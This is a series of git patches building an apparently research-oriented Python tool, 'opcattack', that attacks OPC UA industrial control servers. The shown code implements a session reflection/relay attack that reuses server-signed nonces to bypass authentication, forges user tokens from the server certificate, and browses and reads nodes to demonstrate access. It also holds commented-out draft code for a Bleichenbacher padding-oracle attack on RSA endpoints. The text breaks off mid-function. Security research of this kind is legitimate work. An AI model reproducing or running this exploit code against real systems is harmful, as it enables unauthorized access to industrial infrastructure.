From b89729a18a7c0fa0f54c270df311a14b598842df Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 28 Feb 2024 11:16:09 +0100 Subject: [PATCH 01/70] Bunch of bugfixes. Tool now actually starts:P --- attacks.py | 4 +- crypto.py | 2 +- message_fields.py | 153 +++++++++++++++++++++++++--------------------- messages.py | 9 +-- opcattack.py | 58 +++++++++--------- 5 files changed, 123 insertions(+), 103 deletions(-) mode change 100644 => 100755 opcattack.py diff --git a/attacks.py b/attacks.py index 64aa3c0..9ecf0fd 100644 --- a/attacks.py +++ b/attacks.py @@ -8,10 +8,10 @@ import sys, os, itertools # Logging and errors. -def log(msg : string): +def log(msg : str): print(f'[*] {msg}', file=sys.stderr) -def log_success(msg : string): +def log_success(msg : str): print(f'[+] {msg}') # Thrown when an attack was not possible due to a configuration that is not vulnerable to it (other exceptions indicate diff --git a/crypto.py b/crypto.py index 7ae1197..36405e6 100644 --- a/crypto.py +++ b/crypto.py @@ -38,7 +38,7 @@ def rsa_plainblocksize(policy: SecurityPolicy, key : RsaKey) -> int: return pubkey.size_in_bytes() - padsize def rsa_getcipher(policy: SecurityPolicy, key : RsaKey) -> object: - if policy == SecurityPolicy.NONE + if policy == SecurityPolicy.NONE: return None else: cipherclass = PKCS1_v1_5 if policy == SecurityPolicy.BASIC128RSA15 else PKCS1_OAEP diff --git a/message_fields.py b/message_fields.py index a5cec5a..cc8eeea 100644 --- a/message_fields.py +++ b/message_fields.py @@ -1,12 +1,14 @@ -from abc import ABC +from abc import ABC, abstractmethod import struct from typing import * -from enum import Enum, auto +from types import NoneType +from enum import Enum, auto, IntEnum from datetime import datetime, timedelta from binascii import hexlify from collections import namedtuple from base64 import b64encode, b64decode from uuid import UUID +from dataclasses import dataclass # Type vars. ValType = TypeVar('ValType') @@ -103,8 +105,8 @@ def __init__(self, intformat : str = ' ValType: def untransform(self, transformed : ValType) -> OriginalValType: ... + @property def default_value(self): return self.transform(self._origfield.default_value) @@ -328,6 +332,7 @@ def __init__(self, name : str, bodyfields : list[tuple[str, FieldType]]): def create(self, **data): return self._Body(**data) + @property def default_value(self): return self._Body(**{fname: ftype.default_value for fname, ftype in self._bodyfields}) @@ -348,8 +353,14 @@ def Type(self): class EncodableObjectField(ObjectField): def __init__(self, name : str, identifier : int, bodyfields : list[tuple[str, FieldType]]): - super().__init__(name, [('typeId', NodeIdField(0, identifier)), *bodyfields]) + super().__init__(name, [('typeId', NodeIdField()), *bodyfields]) self._id = identifier + self._default = super().default_value + self._default.typeId.identifier = identifier + + @property + def default_value(self): + return self._default def from_bytes(self, bytestr): result, tail = super().from_bytes(bytestr) @@ -360,7 +371,8 @@ class EnumField(TransformedFieldType[int, IntEnum]): def __init__(self, EnumType : Type[IntEnum]): super().__init__(IntField()) self._EnumType = EnumType - + + @property def default_value(self): return next(iter(self._EnumType.__members__)) @@ -390,6 +402,7 @@ def __init__(self, name : str, bodyfields : list[tuple[str, FieldType, int]]): self._masksize = len(bodyfields) + (8 - len(bodyfields) % 8 if len(bodyfields) % 8 else 0) self._maskindices = {fname: index for fname, _, index in bodyfields} + @property def default_value(self): return self._Body(**{fname: None for fname, _ in self._bodyfields}) @@ -438,6 +451,7 @@ class FixedSizeBytesField(FieldType[bytes]): def __init__(self, size): self._size = size + @property def default_value(self): return b'\x00' * self._size @@ -453,7 +467,8 @@ def __init__(self, name): def fail(): raise UnsupportedFieldException(name, f'Field type {name} is not supported.') self._fail = fail - + + @property def default_value(self): self._fail() @@ -463,23 +478,69 @@ def to_bytes(self, value): def from_bytes(self, bytestr): self._fail() +# Extension objects. See https://reference.opcfoundation.org/Core/Part6/v104/docs/5.2.2.15 +# Call register_object to expand. +class ExtensionObjectField(FieldType[Optional[NamedTuple]]): + _id2ft = {} + _ty2id = {} + + @classmethod + def register(clazz, name : str, identifier : int, bodyfields : list[tuple[str, FieldType]]) -> FieldType: + fieldType = EncodableObjectField(name, identifier, bodyfields) + assert identifier not in clazz._id2ft + clazz._id2ft[identifier] = fieldType + clazz._ty2id[fieldType.Type] = identifier + return fieldType + + default_value = None + + def to_bytes(self, value): + if value is None: + return NodeIdField().to_bytes(0) + b'\x00' + elif type(value) in ExtensionObjectField._ty2id: + identifier = ExtensionObjectField._ty2id[type(value)] + fieldType = ExtensionObjectField._id2ft[identifier] + return NodeIdField().to_bytes(identifier) + b'\x01' + ByteStringField().to_bytes(fieldType.to_bytes(value)) + else: + raise Exception(f'Type {type(value)} not registered as extension object.') + + def from_bytes(self, bytestr): + identifier, todo = NodeIdField().from_bytes(bytestr) + decodecheck(todo) + encoding, todo = todo[0], todo[1:] + decodecheck(encoding != 2, 'XML encoding not supported.') + if encoding == 0: + bodybytes = b'' + elif encoding == 1: + bodybytes, todo = ByteStringField().from_bytes(todo) + else: + decodecheck(False) + + if identifier == 0: + return None, todo + else: + decodecheck(identifier in ExtensionObjectField._id2ft, f'Extension object type ID {identifier} not registered.') + fieldType = ExtensionObjectField._id2ft[identifier] + value, _ = fieldType.from_bytes(bodybytes) + return value, todo + QualifiedNameField = lambda: ObjectField('QualifiedName', [ ('namespaceIndex', IntField('> 2 - decodecheck(identifier in VariantField.TYPE_IDS) + decodecheck(identifier in VariantField._TYPE_IDS) decodecheck(mask & 0b00000010 != 0, 'Variant array dimensions not supported.') - fieldType = VariantField.TYPE_IDS[identifier] + fieldType = VariantField._TYPE_IDS[identifier] if mask & 0b00000001: return ArrayField(fieldType).from_bytes(todo) else: return fieldType.from_bytes(todo) -# Extension objects. See https://reference.opcfoundation.org/Core/Part6/v104/docs/5.2.2.15 -# Call register_object to expand. -class ExtensionObjectField(FieldType[Optional[NamedTuple]]): - _id2ft = {} - _ty2id = {} - - @classmethod - def register(clazz, name : str, identifier : int, bodyfields : list[tuple[str, FieldType]]) -> FieldType: - fieldType = EncodableObjectField(name, identifier, bodyfields) - assert identifier not in _id2ft - clazz._id2ft[identifier] = fieldType - clazz._ty2id[fieldType.Type] = identifier - return fieldType - - default_value = None - - def to_bytes(self, value): - if value is None: - return NodeIdField().to_bytes(0) + b'\x00' - elif type(value) in ExtensionObjectField._ty2id: - identifier = ExtensionObjectField._ty2id[type(value)] - fieldType = ExtensionObjectField._id2ft[identifier] - return NodeIdField().to_bytes(identifier) + b'\x01' + ByteStringField().to_bytes(fieldType.to_bytes(value)) - else: - raise Exception(f'Type {type(value)} not registered as extension object.') - - def from_bytes(self, bytestr): - identifier, todo = NodeIdField().from_bytes(bytestr) - decodecheck(todo) - encoding, todo = todo[0], todo[1:] - decodecheck(encoding != 2, 'XML encoding not supported.') - if encoding == 0: - bodybytes = b'' - elif encoding == 1: - bodybytes, todo = ByteStringField().from_bytes(todo) - else: - decodecheck(False) - - if identifier == 0: - return None, todo - else: - decodecheck(identifier in ExtensionObjectField._id2ft, f'Extension object type ID {identifier} not registered.') - fieldType = ExtensionObjectField._id2ft[identifier] - value, _ = fieldType.from_bytes(bodybytes) - return value, todo \ No newline at end of file +VariantField._TYPE_IDS[24] = DataValueField() diff --git a/messages.py b/messages.py index 252f6cb..77c86ec 100644 --- a/messages.py +++ b/messages.py @@ -3,6 +3,7 @@ from abc import ABC import struct from typing import * +from dataclasses import dataclass # Main "outer" messages. @@ -179,7 +180,7 @@ class NodeClass(IntEnum): ('returnDiagnostics', IntField()), ('auditEntryId', StringField()), ('timeoutHint', IntField()), - ('additionalHeader', ExtensionObjectField(0, TrailingBytes())), + ('additionalHeader', ExtensionObjectField()), ]) responseHeader = ObjectField('ResponseHeader', [ @@ -188,7 +189,7 @@ class NodeClass(IntEnum): ('serviceResult', IntField()), ('serviceDiagnostics', FixedBytes(b'\x00')), # Just assume this stays empty for now. ('stringTable', ArrayField(StringField())), - ('additionalHeader', ExtensionObjectField(0, TrailingBytes())), + ('additionalHeader', ExtensionObjectField()), ]) applicationDescription = ObjectField('ApplicationDescription', [ @@ -276,8 +277,8 @@ class NodeClass(IntEnum): ('requestHeader', requestHeader), ('clientSignature', signatureData), ('clientSoftwareCertificates', ArrayField(signedSoftwareCertificate)), - ('localeIds', ArrayField(StringField())) - ('userIdentityToken', ExtensionObjectField(0, TrailingBytes())), + ('localeIds', ArrayField(StringField())), + ('userIdentityToken', ExtensionObjectField()), ('userTokenSignature', signatureData), ]) diff --git a/opcattack.py b/opcattack.py old mode 100644 new mode 100755 index bee6473..97c2e7d --- a/opcattack.py +++ b/opcattack.py @@ -1,3 +1,5 @@ +#!/usr/bin/env python3 + from attacks import * from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter, Namespace @@ -34,7 +36,7 @@ def long_help(self) -> str: ... @abstractmethod - def add_arguments(aparser : ArgumentParser): + def add_arguments(self, aparser : ArgumentParser): """Add attack-specific options.""" ... @@ -74,16 +76,16 @@ class ReflectAttack(Attack): WebPKI or taken from a compromised system) via --opn-cert and --opn-key. """.strip() - def add_arguments(aparser): - aparser.add_arguments('-o', '--forged-opn', - help_text='result of a prior opnforge attack against the server') - aparser.add_arguments('-c', '--opn-cert', - help_text='alternative certificate to use for the OPN handshake') - aparser.add_arguments('-k', '--opn-key', - help_text='private key associated with --opn-cert certificate') + def add_arguments(self, aparser): + aparser.add_argument('-o', '--forged-opn', type=FileType('r'), + help='result of a prior opnforge attack against the server') + aparser.add_argument('-c', '--opn-cert', type=FileType('r'), + help='alternative certificate (PEM encoded) to use for the OPN handshake') + aparser.add_argument('-k', '--opn-key', type=FileType('r'), + help='private key (PEM encoded) associated with --opn-cert certificate') - aparser.add_arguments('address', metavar='host:port', - help_text='Target server address', + aparser.add_argument('address', metavar='host:port', + help='Target server address', type=address_arg) def execute(self, args): @@ -107,21 +109,21 @@ class RelayAttack(Attack): alternative certificate for OPN. """.strip() - def add_arguments(aparser): - aparser.add_arguments('-a', '--forged-opn-a', - help_text='result of a prior opnforge attack against server-a') - aparser.add_arguments('-b', '--forged-opn-b', - help_text='result of a prior opnforge attack against server-b') - aparser.add_arguments('-c', '--opn-cert', - help_text='alternative certificate to use for the OPN handshake') - aparser.add_arguments('-k', '--opn-key', - help_text='private key associated with --opn-cert certificate') + def add_arguments(self, aparser): + aparser.add_argument('-o', '--forged-opn', type=FileType('r'), + help='result of a prior opnforge attack against either server') + aparser.add_argument('-b', '--forged-opn-b', type=FileType('r'), + help='in case separate forged OPN\'s need to be used for both servers, this one is used for server-b and the -o file is used for server-a') + aparser.add_argument('-c', '--opn-cert', type=FileType('r'), + help='alternative certificate (PEM encoded) to use for the OPN handshake') + aparser.add_argument('-k', '--opn-key', type=FileType('r'), + help='private key (PEM encoded) associated with --opn-cert certificate') - aparser.add_arguments('server-a', - help_text='host:port of the server of which to spoof the identity', + aparser.add_argument('server-a', + help='host:port of the server of which to spoof the identity', type=address_arg) - aparser.add_arguments('server-b', - help_text='host:port of the server on which to log in asserver-a', + aparser.add_argument('server-b', + help='host:port of the server on which to log in asserver-a', type=address_arg) def execute(self, args): @@ -135,7 +137,7 @@ class SigForgeAttack(Attack): TODO """.strip() - def add_arguments(aparser): + def add_arguments(self, aparser): pass def execute(self, args): @@ -148,7 +150,7 @@ class OPNForgeAttack(Attack): TODO """.strip() - def add_arguments(aparser): + def add_arguments(self, aparser): pass def execute(self, args): @@ -161,7 +163,7 @@ class DecryptAttack(Attack): TODO """.strip() - def add_arguments(aparser): + def add_arguments(self, aparser): pass def execute(self, args): @@ -174,7 +176,7 @@ class MitMAttack(Attack): TODO """.strip() - def add_arguments(aparser): + def add_arguments(self, aparser): pass def execute(self, args): @@ -187,7 +189,7 @@ def execute(self, args): def main(): # Create argument parser for each attack type. aparser = ArgumentParser(description=HELP_TEXT, formatter_class=RawDescriptionHelpFormatter) - subparsers = aparser.add_subparsers(metavar='attack', help='attack to test') + subparsers = aparser.add_subparsers(metavar='attack', help='attack to test', required=True) for attack in ENABLED_ATTACKS: sparser = subparsers.add_parser(attack.subcommand, help=attack.short_help, description=attack.long_help) attack.add_arguments(sparser) From 6d183c8ba7fb5c143c0d0188ad2cabb6a5ff1dc8 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 28 Feb 2024 14:05:03 +0100 Subject: [PATCH 02/70] Many bugfixes. --- attacks.py | 24 +++++++++++++----------- message_fields.py | 42 +++++++++++++++++++++++++----------------- messages.py | 24 ++++++++++++++++++------ opcattack.py | 2 +- 4 files changed, 57 insertions(+), 35 deletions(-) diff --git a/attacks.py b/attacks.py index 9ecf0fd..f1fcbee 100644 --- a/attacks.py +++ b/attacks.py @@ -22,7 +22,7 @@ class AttackNotPossible(Exception): # Common routines. # Send an OPC request message and receive a response. -def opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[OpcMessage]) -> OpcMessage: +def opc_exchange(sock : socket, request : OpcMessage, response_obj : Optional[OpcMessage] = None) -> OpcMessage: with sock.makefile('rwb') as sockio: sockio.write(request.to_bytes()) sockio.flush() @@ -39,7 +39,7 @@ def connect_and_hello(host : str, port : int) -> socket: sendBufferSize=2**16, maxMessageSize=2**24, maxChunkCount=2**8, - endpointUrl=f'opc.tcp://{host}:{port}', + endpointUrl=f'opc.tcp://{host}:{port}/', ), AckMessage()) return sock @@ -51,7 +51,7 @@ def simple_requestheader(authToken : NodeId = NodeId(0,0)) -> requestHeader.Type returnDiagnostics=0, auditEntryId=None, timeoutHint=0, - additionalHeader=b'', + additionalHeader=None, ) @dataclass @@ -71,17 +71,17 @@ def unencrypted_opn(sock: socket) -> ChannelState: receiverCertificateThumbprint=None, sequenceNumber=1, requestId=1, - encryptedMessage=openSecureChannelRequest.create( + encryptedMessage=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( requestHeader=simple_requestheader(), clientProtocolVersion=0, requestType=SecurityTokenRequestType.ISSUE, securityMode=MessageSecurityMode.NONE, clientNonce=None, requestedLifetime=3600000, - ).to_bytes() + )) )) - resp = openSecureChannelResponse.from_bytes(reply.encryptedMessage) + resp, _ = openSecureChannelResponse.from_bytes(reply.encryptedMessage) return ChannelState( sock=sock, channel_id=resp.securityToken.channelId, @@ -98,13 +98,14 @@ def session_exchange(channel : ChannelState, msg = ConversationMessage( secureChannelId=channel.channel_id, tokenId=channel.token_id, - encodedPart=encodedConversation.create( + encodedPart=encodedConversation.to_bytes(encodedConversation.create( sequenceNumber=channel.msg_counter, requestId=channel.msg_counter, - encodedMessage=reqfield.create(**req_data).to_bytes(), - ) + requestOrResponse=reqfield.to_bytes(reqfield.create(**req_data)), + )) ) + crypto = channel.crypto if crypto: # Add padding and signing into encoded message. msgbytes = msg.to_bytes() @@ -131,7 +132,8 @@ def session_exchange(channel : ChannelState, channel.msg_counter += 1 # Parse the response. - return respfield.from_bytes(encodedConversation.from_bytes(decodedPart).encodedMessage) + convo, _ = encodedConversation.from_bytes(decodedPart) + return respfield.from_bytes(convo.requestOrResponse) # Relevant endpoint information. @@ -148,7 +150,7 @@ class EndpointInfo: def get_endpoints(host : str, port: int) -> List[EndpointInfo]: with connect_and_hello(host, port) as sock: chan = unencrypted_opn(sock) - resp = session_exchange(sock, chan, getEndpointsRequest, getEndpointsResponse, + resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, requestHeader=simple_requestheader(), endpointUrl=f'opc.tcp://{host}:{port}', localeIds=[], diff --git a/message_fields.py b/message_fields.py index cc8eeea..b1ada02 100644 --- a/message_fields.py +++ b/message_fields.py @@ -108,17 +108,20 @@ class DoubleField(StructField[float]): def __init__(self, floatformat : str = ' bytes: else: bodychunks = [body[i:i+chunksize] for i in range(0, len(body), chunksize)] - bodychunks = [struct.pack(' Date: Wed, 28 Feb 2024 15:56:04 +0100 Subject: [PATCH 03/70] More bugfixes. Reflect should work until demonstration. --- attacks.py | 52 +++++++++++++++++++++++++---------------------- message_fields.py | 36 ++++++++++++++++++++++++-------- messages.py | 8 +------- 3 files changed, 56 insertions(+), 40 deletions(-) diff --git a/attacks.py b/attacks.py index f1fcbee..6764fdc 100644 --- a/attacks.py +++ b/attacks.py @@ -5,7 +5,7 @@ from datetime import datetime from socket import socket, create_connection -import sys, os, itertools +import sys, os, itertools, re # Logging and errors. def log(msg : str): @@ -18,6 +18,13 @@ def log_success(msg : str): # unexpected errors, which can have all kinds of causes). class AttackNotPossible(Exception): pass + +def parse_endpoint_url(url): + m = re.match(r'opc\.tcp://(?P[^:/]+):(?P\d+)/', url) + if not m: + raise Exception(f'Don\'t know how to process endpoint url: {url}') + else: + return m.group('host', 'port') # Common routines. @@ -86,7 +93,7 @@ def unencrypted_opn(sock: socket) -> ChannelState: sock=sock, channel_id=resp.securityToken.channelId, token_id=resp.securityToken.tokenId, - msg_counter=1, + msg_counter=2, crypto=None, ) @@ -133,7 +140,8 @@ def session_exchange(channel : ChannelState, # Parse the response. convo, _ = encodedConversation.from_bytes(decodedPart) - return respfield.from_bytes(convo.requestOrResponse) + resp, _ = respfield.from_bytes(convo.requestOrResponse) + return resp # Relevant endpoint information. @@ -156,20 +164,9 @@ def get_endpoints(host : str, port: int) -> List[EndpointInfo]: localeIds=[], profileUris=[], ) - - def parse_epurl(url): - m = re.match(r'opc\.tcp://(?P[^:/]+):(?P\d+)/', url) - if not m: - raise Exception(f'Don\'t know how to process endpoint url: {url}') - else: - return m.group('host', 'port') # Only return endpoints that use the binary protocol. - return [EndpointInfo( - *parse_epurl(ep.endpointUrl), ep.serverCertificate, - ep.securityPolicyUri, ep.messageSecurityMode, - any(t.tokenType == CERTIFICATE for t in ep.userIdentityTokens) - ) for ep in resp.endpoints if ep.transportProfileUri.endswith('uabinary')] + return [ep for ep in resp.endpoints if ep.transportProfileUri.endswith('uabinary')] def execute_relay_attack( @@ -181,6 +178,7 @@ def csr(chan, client_ep, server_ep, nonce): requestHeader=simple_requestheader(), clientDescription=client_ep.server, serverUri=server_ep.server.applicationUri, + endpointUrl=server_ep.endpointUrl, sessionName=None, clientNonce=nonce, clientCertificate=client_ep.serverCertificate, @@ -199,7 +197,7 @@ def csr(chan, client_ep, server_ep, nonce): cert_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.CERTIFICATE] if anon_policies: usertoken = anonymousIdentityToken.create(policyId=anon_policies[0].policyId) - usersig = None + usersig = signatureData.create(algorithm=None,signature=None) elif cert_policies: log('User certificate required. Reusing the server certificate to forge user token.') usertoken = x509IdentityToken.create( @@ -212,6 +210,9 @@ def csr(chan, client_ep, server_ep, nonce): else: raise AttackNotPossible('Endpoint does not allow either anonymous or certificate-based authentication.') + if createresp2.serverSignature.signature is None: + log('Server did not sign the CreateSessionResponse. Is unauthenticated access allowed? In this case no reflection attack is needed.') + # Now activate the first session using the signature from the second session. session_exchange(login_chan, activateSessionRequest, activateSessionResponse, requestHeader=simple_requestheader(createresp1.authenticationToken), @@ -292,14 +293,15 @@ def reflect_attack(address : Tuple[str, int]): log(f'Server advertises {len(endpoints)} endpoints.') # Try attack against first endpoint with a NONE policy. - none_eps = [ep for ep in endpoints if ep.policy == SecurityPolicy.NONE] + none_eps = [ep for ep in endpoints if ep.securityPolicyUri == SecurityPolicy.NONE] if none_eps: target = none_eps[0] - log(f'Targeting {target.host}:{target.port} with NONE security policy.') - with connect_and_hello(target.host, target.port) as sock1, connect_and_hello(target.host, target.port) as sock2: + thost, tport = parse_endpoint_url(target.endpointUrl) + log(f'Targeting {thost}:{tport} with NONE security policy.') + with connect_and_hello(thost, tport) as sock1, connect_and_hello(thost, tport) as sock2: mainchan, oraclechan = unencrypted_opn(sock1), unencrypted_opn(sock2) token = execute_relay_attack(oraclechan, target, mainchan, target) - log_success(f'Attack succesfull! Authenticated session set up with {target.host}.') + log_success(f'Attack succesfull! Authenticated session set up with {target.endpointUrl}.') demonstrate_access(mainchan, token) else: raise AttackNotPossible('TODO: implement combination with OPN attack.') @@ -313,12 +315,14 @@ def relay_attack(source : Tuple[str, int], target : Tuple[str, int]): log(f'Listed {len(teps)} endpoints from {a2url(target)}.') for sep, tep in itertools.product(seps, teps): - if sep.policy == tep.policy == SecurityPolicy.NONE: - log(f'Trying endpoints {a2url((sep.host, sep.port))} -> {a2url((tep.host, tep.port))} (both NONE security policy)') - with connect_and_hello(sep.host, sep.port) as ssock, connect_and_hello(tep.host, tep.port) as tsock: + if sep.securityPolicyUri == tep.securityPolicyUri == SecurityPolicy.NONE: + log(f'Trying endpoints {sep.endpointUrl} -> {tep.endpointUrl} (both NONE security policy)') + shost, sport = parse_endpoint_url(sep.endpointUrl) + thost, tport = parse_endpoint_url(tep.endpointUrl) + with connect_and_hello(shost, sport) as ssock, connect_and_hello(thost, tport) as tsock: mainchan, oraclechan = unencrypted_opn(tsock), unencrypted_opn(ssock) token = execute_relay_attack(oraclechan, sep, mainchan, tep) - log_success(f'Attack succesfull! Authenticated session set up with {tep.host}.') + log_success(f'Attack succesfull! Authenticated session set up with {tep.endpointUrl}.') demonstrate_access(mainchan, token) return diff --git a/message_fields.py b/message_fields.py index b1ada02..79b2c96 100644 --- a/message_fields.py +++ b/message_fields.py @@ -19,6 +19,12 @@ class DecodeError(Exception): pass +# Thrown when an unexpected OPC error message is encountered. +class ServerError(Exception): + def __init__(self, errorcode, reason): + super().__init__(f'Server error {hex(errorcode)}: "{reason}"') + self.errorcode = errorcode + def decodecheck(condition : bool, msg : str = 'Invalid OPC message syntax'): if not condition: raise DecodeError(msg) @@ -136,7 +142,7 @@ def to_bytes(self, value): return self._bytestr def from_bytes(self, bytestr): - decodecheck(bytestr.startswith(self._bytestr), f'Expected fixsed bytes {hexlify(self._bytestr)}; instead got {hexlify(bytestr[:len(self._bytestr)])}') + decodecheck(bytestr.startswith(self._bytestr), f'Expected fixed bytes {hexlify(self._bytestr)}; instead got {hexlify(bytestr[:len(self._bytestr)])}') return None, bytestr[len(self._bytestr):] class TransformedFieldType(Generic[ValType, OriginalValType], FieldType[ValType]): @@ -206,7 +212,7 @@ def from_bytes(self, bytestr): return result, todo -class SecurityPolicyField(TransformedFieldType[str, SecurityPolicy]): +class SecurityPolicyField(TransformedFieldType[Optional[str], Optional[SecurityPolicy]]): _prefix = 'http://opcfoundation.org/UA/SecurityPolicy#' default_value = SecurityPolicy.NONE @@ -215,11 +221,14 @@ def __init__(self): super().__init__(StringField()) def transform(self, original): - decodecheck(original.startswith(self._prefix)) - return SecurityPolicy(original[len(self._prefix):]) + if original is None: + return None + else: + decodecheck(original.startswith(self._prefix)) + return SecurityPolicy(original[len(self._prefix):]) def untransform(self, transformed): - return self._prefix + transformed.value + return self._prefix + transformed.value if transformed is not None else None class GuidField(TransformedFieldType[bytes, UUID]): def __init__(self): @@ -248,7 +257,7 @@ def to_bytes(self, value): str : (3, StringField()), UUID: (4, GuidField()), bytes: (5, ByteStringField()), - }[type(value)] + }[type(value.identifier)] return bytes([enc]) + IntField(' FieldType: - fieldType = EncodableObjectField(name, identifier, bodyfields) + fieldType = ObjectField(name, bodyfields) assert identifier not in clazz._id2ft clazz._id2ft[identifier] = fieldType clazz._ty2id[fieldType.Type] = identifier diff --git a/messages.py b/messages.py index c7e8369..e852936 100644 --- a/messages.py +++ b/messages.py @@ -5,12 +5,6 @@ from typing import * from dataclasses import dataclass -# Thrown when trying to decode an OPC error message while expecting something else. -class ServerError(Exception): - def __init__(self, errorcode, reason): - super().__init__(f'Server error {hex(errorcode)}: "{reason}"') - self.errorcode = errorcode - # Main "outer" messages. class OpcMessage(ABC): @@ -240,6 +234,7 @@ class NodeClass(IntEnum): ('requestHeader', requestHeader), ('clientDescription', applicationDescription), ('serverUri', StringField()), + ('endpointUrl', StringField()), ('sessionName', StringField()), ('clientNonce', ByteStringField()), ('clientCertificate', ByteStringField()), @@ -352,7 +347,6 @@ class NodeClass(IntEnum): ('requestHeader', requestHeader), ('view', viewDescription), ('requestedMaxReferencesPerNode', IntField()), - ('noOfNodesToBrowse', IntField(' Date: Wed, 28 Feb 2024 17:21:09 +0100 Subject: [PATCH 04/70] Set up test environment. --- attacks.py | 1 + message_fields.py | 3 +-- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/attacks.py b/attacks.py index 6764fdc..b44a828 100644 --- a/attacks.py +++ b/attacks.py @@ -233,6 +233,7 @@ def demonstrate_access(chan : ChannelState, authToken : NodeId): recursive_nodeclasses = {NodeClass.OBJECT} read_nodeclasses = {NodeClass.VARIABLE} + print(repr(viewDescription.default_value)) def browse_from(root, depth): bresp = session_exchange(chan, browseRequest, browseResponse, requestHeader=simple_requestheader(authToken), diff --git a/message_fields.py b/message_fields.py index 79b2c96..6a23b1a 100644 --- a/message_fields.py +++ b/message_fields.py @@ -367,8 +367,7 @@ class EncodableObjectField(ObjectField): def __init__(self, name : str, identifier : int, bodyfields : list[tuple[str, FieldType]]): super().__init__(name, [('typeId', NodeIdField()), *bodyfields]) self._id = identifier - self._default = super().default_value - self._default.typeId.identifier = identifier + self._default = super().default_value._replace(typeId=NodeId(0, identifier)) def create(self, **data): return self._Body(typeId=NodeId(0, self._id), **data) From 0aa291dcce8e0f864efd71aa51387a82fc89ca3c Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 11 Mar 2024 11:45:35 +0100 Subject: [PATCH 05/70] Starting to implement HTTPS support. --- attacks.py | 135 ++++++++++++++++++++++++++++++++++++++++++++-- crypto.py | 10 +++- message_fields.py | 4 +- messages.py | 2 + 4 files changed, 144 insertions(+), 7 deletions(-) diff --git a/attacks.py b/attacks.py index b44a828..101555a 100644 --- a/attacks.py +++ b/attacks.py @@ -4,6 +4,8 @@ from crypto import * from datetime import datetime from socket import socket, create_connection +from random import randint +from enum import Enum, auto import sys, os, itertools, re @@ -143,6 +145,13 @@ def session_exchange(channel : ChannelState, resp, _ = respfield.from_bytes(convo.requestOrResponse) return resp +# Protocols supported for current attacks. +class TransportProtocol(Enum): + TCP_BINARY = auto() + HTTPS = auto() + +# def proto_scheme(protocol : TransportProtocol) -> str: + # Relevant endpoint information. @dataclass @@ -155,7 +164,7 @@ class EndpointInfo: accepts_certauth : bool # Request endpoint information from a server. -def get_endpoints(host : str, port: int) -> List[EndpointInfo]: +def get_endpoints(protocol : TransportProtocol, host : str, port: int) -> List[EndpointInfo]: with connect_and_hello(host, port) as sock: chan = unencrypted_opn(sock) resp = session_exchange(chan, getEndpointsRequest, getEndpointsResponse, @@ -192,6 +201,9 @@ def csr(chan, client_ep, server_ep, nonce): # Now send the server nonce of this channel as a client nonce on the other channel. createresp2 = csr(imp_chan, login_endpoint, imp_endpoint, createresp1.serverNonce) + if createresp2.serverSignature.signature is None: + raise AttackNotPossible('Server did not sign nonce. An OPN attack may be needed first.') + # Make a token with an anonymous or certificate-based user identity policy. anon_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] cert_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.CERTIFICATE] @@ -210,9 +222,6 @@ def csr(chan, client_ep, server_ep, nonce): else: raise AttackNotPossible('Endpoint does not allow either anonymous or certificate-based authentication.') - if createresp2.serverSignature.signature is None: - log('Server did not sign the CreateSessionResponse. Is unauthenticated access allowed? In this case no reflection attack is needed.') - # Now activate the first session using the signature from the second session. session_exchange(login_chan, activateSessionRequest, activateSessionResponse, requestHeader=simple_requestheader(createresp1.authenticationToken), @@ -329,3 +338,121 @@ def relay_attack(source : Tuple[str, int], target : Tuple[str, int]): raise AttackNotPossible('TODO: implement combination with OPN attack.') + + +# @dataclass +# class PaddingOracleReuseState: +# sock : Optional[socket] = None +# counter : int = 1 + +# # Returns whether an RSA ciphertext has correct padding, using a Basic128Rsa15 endpoint. +# # When possible, uses reuse_state to avoid having to repeat TCP + hello handshake for every attempt. +# # Thread-safe whenever a different reuse_state object is used for each thread. +# def query_padding_oracle( +# endpoint : endpointDescription.Type, ciphertext : bytes, reuse_state : PaddingOracleReuseState +# ) -> bool: +# assert endpoint.securityPolicyUri == SecurityPolicy.BASIC128RSA15 +# def try_open_request(): +# try: +# opc_exchange(reuse_state.sock, OpenSecureChannelMessage( +# secureChannelId=0, +# securityPolicyUri=SecurityPolicy.BASIC128RSA15, +# senderCertificate=endpoint.serverCertificate, +# receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), +# sequenceNumber=reuse_state.counter, +# requestId=reuse_state.counter, +# encryptedMessage=ciphertext +# )) +# return True +# except ServerError as err: +# if err.errorcode == ....: +# return True +# elif err.errorcode == ....: +# return False +# else: +# raise err + +# done = False +# if reuse_state.sock: +# try: +# padresult = try_open_request() +# done = True +# except: +# # On any misc. exception, assume the connection is broken and try again with a fresh socket. +# try: +# reuse_state.sock.shutdown(socket.SHUT_RDWR) +# reuse_state.sock.close() +# except: +# pass + +# if not done: +# reuse_state.sock = connect_and_hello(*parse_endpoint_url(endpoint.endpointUrl)) +# reuse_state.counter = 1 +# padresult = try_open_request() + +# reuse_state.counter += 1 +# return padresult + +# # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. +# # Result is ciphertext**d mod n; can also be used for signature forging. +# def rsa_decryptor(endpoint : endpointDescription.Type, ciphertext : bytes): +# # Bleicehnacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf + +# clen = len(ciphertext) +# assert clen % 128 == 0 # Probably not an RSA ciphertext if the key size is not a multiple of 1024 bits. +# k = clen * 8 + +# # Ciphertext as integer. +# c = 0 +# for by in ciphertext: +# c *= 256 +# c += by + +# # Extract public key from the endpoint certificate. +# n, e = certificate_rsakey(endpoint.serverCertificate) + +# # B encodes as 00 01 00 00 00 .. 00 00 +# B = 2**(k-16) + +# # Oracle function. +# rstate = PaddingOracleReuseState() +# def query(candidate): +# # Encode int as bigendian binary to submit it to the oracle. +# cand_bytes = [0] * clen +# j = candidate +# for ix in reverse(range(0, clen)): +# cand_bytes[ix] = j % 256 +# j /= 256 +# assert j == 0 +# 